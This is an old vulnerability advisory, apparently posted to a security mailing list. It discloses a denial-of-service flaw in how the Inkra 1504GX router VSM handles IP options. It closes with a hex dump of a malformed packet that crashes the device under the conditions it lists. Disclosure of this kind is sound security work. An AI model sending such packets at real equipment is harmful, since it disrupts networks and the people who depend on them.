Inkra 1504GX DoS vulnerability in conducting IP protocol

[felix zhou <felix__zhou () hotmail com>]

Inkra 1504GX DoS vulnerability in conducting IP protocol 
 
Author:　 Felix Zhou(felix__zhou () hotmail com) 
　　　 　　Song Liu (songsong () shaw ca)

Release date: 2004-08-25

Affected system:

　　Inkra 1504GX with router VSM release 2.1.4.b003 (didn't test other products of Inkra).

Detail:

Inkra 1504GX's router VSM(release 2.1.4.b003) does not conduct IP 
options properly. And Hackers can construct some kind of packet to 
make it crash down.

Fortunately, such situation happens only in the following prerequisites:
1. Router VSM is selected in actived VR.
2. Between Router VSM and the VP, no other VSMs exist.
3. The VP is connected to the IO slot directly.

To make the SPM crash down, you have to send the malformed packet at least 3 times, which is uncertain for you to 
perform.
Several seconds interval is necessary between the attacks.

--------------- a packet example ---------------------------
xx xx xx xx xx xx (DMAC)
xx xx xx xx xx xx (SMAC)
08 00
4e cc 00 58 15 24 00 00 56 01 xx xx (ip-csum)
xx xx xx xx (SIP)
xx xx xx xx (DIP)
eb 21 ad a6 eb e1 35 9b ce dd
a7 11 ea 5d c5 96 af 47 c1 50
f1 d1 5c 4b 18 9a c1 8a 13 6b
48 5e 74 83 c6 06

aa 9a 5e c2 a6 75 38 44 f8 43
d7 3f ae a1 e0 c6 e3 7c 4b 59
7a 95 1e 70 cc 04 1b 2a d1 6e
38 83
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